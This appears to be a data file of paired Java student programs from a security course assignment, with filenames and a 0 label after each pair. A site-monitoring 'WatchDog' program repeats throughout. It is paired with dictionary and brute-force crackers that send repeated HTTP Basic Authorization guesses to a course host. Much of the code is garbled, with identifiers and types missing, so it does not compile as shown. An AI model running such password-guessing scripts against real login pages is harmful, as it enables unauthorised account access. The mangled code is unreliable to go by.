System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
024.java
195.java
0
import java.util.*; import java.net.*; import java.io.*; import javax.swing.*; public class PasswordCombination { private int pwdCounter = 0; private int startTime; private String str1,str2,str3; private String url = "http://sec-crack.cs.rmit.edu./SEC/2/"; private String loginPwd; private String[] password; private HoldSharedData data; private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M', 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m', 'n','o','p','q','r','s','t','u','v','w','x','y','z'}; public PasswordCombination() { System.out.println("Programmed by for INTE1070 Assignment 2"); String input = JOptionPane.showInputDialog( "Enter number of threads" ); if( input == null ) System.exit(0); int numOfConnections = Integer.parseInt( input ); startTime = System.currentTimeMillis(); int pwdCounter = 52*52*52 + 52*52 + 52; password = new String[pwdCounter]; doPwdCombination(); System.out.println("Total Number of Passwords Generated: " + pwdCounter); createConnectionThread( numOfConnections ); } private void doPwdCombination() { for( int i = 0; i < 52; i ++ ) { str1 = "" + chars[i]; password[pwdCounter++] = "" + chars[i]; System.err.print( str1 + " | " ); for( int j = 0; j < 52; j ++ ) { str2 = str1 + chars[j]; password[pwdCounter++] = str1 + chars[j]; for( int k = 0; k < 52; k ++ ) { str3 = str2 + chars[k]; password[pwdCounter++] = str2 + chars[k]; } } } System.err.println( "\n" ); } private void loadPasswords( ) { FileReader fRead; BufferedReader buf; String line = null; String fileName = "words"; try { fRead = new FileReader( fileName ); buf = new BufferedReader(fRead); while((line = buf.readLine( )) != null) { password[pwdCounter++] = line; } } catch(FileNotFoundException e) { System.err.println("File not found: " + fileName); } catch(IOException ioe) { System.err.println("IO Error " + ioe); } } private void createConnectionThread( int input ) { data = new HoldSharedData( startTime, password, pwdCounter ); int numOfThreads = input; int batch = pwdCounter/numOfThreads + 1; numOfThreads = pwdCounter/batch + 1; System.out.println("Number of Connection Threads Used:" + numOfThreads); ConnectionThread[] connThread = new ConnectionThread[numOfThreads]; for( int index = 0; index < numOfThreads; index ++ ) { connThread[index] = new ConnectionThread( url, index, batch, data ); connThread[index].conn(); } } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
226.java
195.java
0
import java.io.*; import java.net.*; import javax.swing.Timer; import java.awt.event.*; import javax.swing.JOptionPane; public class WatchDog { private static Process pro = null; private static Runtime run = Runtime.getRuntime(); public static void main(String[] args) { String cmd = null; try { cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/"); pro = run.exec(cmd); System.out.println(cmd); } catch (IOException e) { } class Watch implements ActionListener { BufferedReader in = null; String str = null; Socket socket; public void actionPerformed (ActionEvent event) { try { System.out.println("in Watch!"); String cmd = new String(); int ERROR = 1; cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/"); System.out.println(cmd); cmd = new String("diff original.txt new.txt"); pro = run.exec(cmd); System.out.println(cmd); in = new BufferedReader(new InputStreamReader(pro.getInputStream())); if (((str=in.readLine())!=null)&&(!str.endsWith("d0"))) { System.out.println(str); try { socket = new Socket("yallara.cs.rmit.edu.",25); PrintWriter output = new PrintWriter(socket.getOutputStream(),true); String linetobesent = null; BufferedReader getin = null; try { FileReader = new FileReader("template.txt"); getin = new BufferedReader(); while (!(linetobesent=getin.readLine()).equals("")) { System.out.println(linetobesent); output.println(linetobesent); } output.println("Orignail Line .s C New Line .s " + str); while ((linetobesent=in.readLine())!=null) { output.println(linetobesent); System.out.println(linetobesent); } while ((linetobesent=getin.readLine())!=null) { output.println(linetobesent); System.out.println(linetobesent); } cmd = new String("cp new.txt original.txt"); System.out.println(cmd); pro = run.exec(cmd); } catch (IOException ex) { System.out.println(ex); } catch (Exception ex) { System.out.println(ex); System.exit(ERROR); } finally { try { if (getin!= null) getin.read(); } catch (IOException e) {} } } catch (UnknownHostException e) { System.out.println(e); System.exit(ERROR); } catch (IOException e) { System.out.println(e); System.exit(ERROR); } } else System.out.println("string is empty"); } catch (IOException exc) { } } } Watch listener = new Watch(); Timer t = new Timer(null,listener); t.close(); JOptionPane.showMessageDialog(null,"Exit WatchDog program?"); System.exit(0); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
085.java
195.java
0
import java.Thread; import java.io.*; import java.net.*; public class Dictionary extends Thread { final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; Dictionary parent; static LineNumberReader lnr; public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; String word = ""; starttime = System.currentTimeMillis(); try { boolean passwordOkay; while(word != null && !parent.solved) { passwordOkay = false; while(!passwordOkay || word == null) { word = lnr.readLine(); passwordOkay = true; if(word.length() != 3) passwordOkay = false; } response = tryLogin(word); x++; if(response == SUCCESS) { System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ word); parent.solved = true; } if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ word +")"); } } catch(Exception e) { System.err.println("Error while from dictionary: " + e.getClass().getName() + ": " + e.getMessage()); } if(response == SUCCESS) { System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec."); System.out.println("Thread . " + threadno + " was the one!"); } } public static void main (String[] args) { Dictionary parent; try { lnr = new LineNumberReader(new FileReader("/usr/share/lib/dict/words")); } catch(Exception e) { System.err.println("Error while loading dictionary: " + e.getClass().getName() + ": " + e.getMessage()); } Dictionary[] attackslaves = new Dictionary[10]; if(args.length == 3) { host = args[0]; path = args[1]; user = args[2]; } else { System.out.println("Usage: Dictionary <host> <path> <user>"); System.out.println(" arguments specified, using standard values."); host = "sec-crack.cs.rmit.edu."; path = "/SEC/2/index.php"; user = ""; } System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user); System.out.println("Using " + attackslaves.length + " happy threads..."); parent = new Dictionary(host, path, user, 0, 0, null, lnr); for(int i=0; i<attackslaves.length; i++) { attackslaves[i] = new Dictionary(host, path, user, attackslaves.length, i, parent, lnr); } for(int i=0; i<attackslaves.length; i++) { attackslaves[i].print(); } } private int tryLogin(String password) { int success = UNKNOWN; try { data = new byte[12]; target = new Socket(host, 80); input = target.getInputStream(); output = target.getOutputStream(); String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes()); output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes()); output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes()); input.print(data); if(new String(data).endsWith("401")) success=0; if(new String(data).endsWith("200")) success=1; } catch(Exception e) { System.out.println(e.getClass().getName() + ": " + e.getMessage()); } return success; } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
215.java
195.java
0
import java.Runtime; import java.io.*; public class differenceFile { StringWriter sw =null; PrintWriter pw = null; public differenceFile() { sw = new StringWriter(); pw = new PrintWriter(); } public String compareFile() { try { Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt"); InputStream write = sw.getInputStream(); BufferedReader bf = new BufferedReader (new InputStreamReader(write)); String line; while((line = bf.readLine())!=null) pw.println(line); if((sw.toString().trim()).equals("")) { System.out.println(" difference"); return null; } System.out.println(sw.toString().trim()); }catch(Exception e){} return sw.toString().trim(); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
131.java
195.java
0
import java.io.*; import java.net.*; public class BruteForce { private String myUsername = ""; private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2"; private int NUM_CHARS = 52; public static void main(String args[]) { BruteForce bf = new BruteForce(); } public BruteForce() { generatePassword(); } public void generatePassword() { int index1 = 0, index2, index3; char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; while(index1 < NUM_CHARS) { index2 = 0; while(index2 < NUM_CHARS) { index3 = 0; while(index3 < NUM_CHARS) { crackPassword(new String("" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3])); index3++; } index2++; } index1++; } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + ":" + passwordToCrack; encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty("Authorization", " " + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader(isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println("\nThe cracked password is : " + foundPassword); System.exit(0); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
017.java
195.java
0
import javax.swing.*; public class Dictionary { public static void main( String args[] ) { PasswordCombination pwdCombination; pwdCombination = new PasswordCombination(); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
077.java
195.java
0
import java.io.*; import java.net.*; public class Dictionary { public static void main (String args[]) throws IOException, MalformedURLException { final String username = ""; final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/"; final String dictfile = "/usr/share/lib/dict/words"; String temppass; String password = ""; URL url = new URL(fullurl); boolean cracked = false; startTime = System.currentTimeMillis(); BufferedReader r = new BufferedReader(new FileReader(dictfile)); while((temppass = r.readLine()) != null && !cracked) { if(temppass.length() <= 3) { if(isAlpha(temppass)) { Authenticator.setDefault(new MyAuthenticator(username,temppass)); try{ BufferedReader x = new BufferedReader(new InputStreamReader( url.openStream())); cracked = true; password = temppass; } catch(Exception e){} } } } stopTime = System.currentTimeMillis(); if(!cracked) System.out.println("Sorry, couldnt find the password"); else System.out.println("Password found: "+password); System.out.println("Time taken: "+(stopTime-startTime)); } public static boolean isAlpha(String s) { boolean v = true; for(int i=0; i<s.length(); i++) { if(!Character.isLetter(s.charAt(i))) v = false; } return ; } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
133.java
195.java
0
import java.net.*; import java.io.*; public class Dictionary { private String myUsername = ""; private String myPassword = ""; private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2"; public static void main (String args[]) { Dictionary d = new Dictionary(); } public Dictionary() { generatePassword(); } public void generatePassword() { try { BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); { myPassword = bf.readLine(); crackPassword(myPassword); } while (myPassword != null); } catch(IOException e) { } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + ":" + passwordToCrack; encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty ("Authorization", " " + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader (isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println("\nThe cracked password is : " + foundPassword); System.exit(0); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); 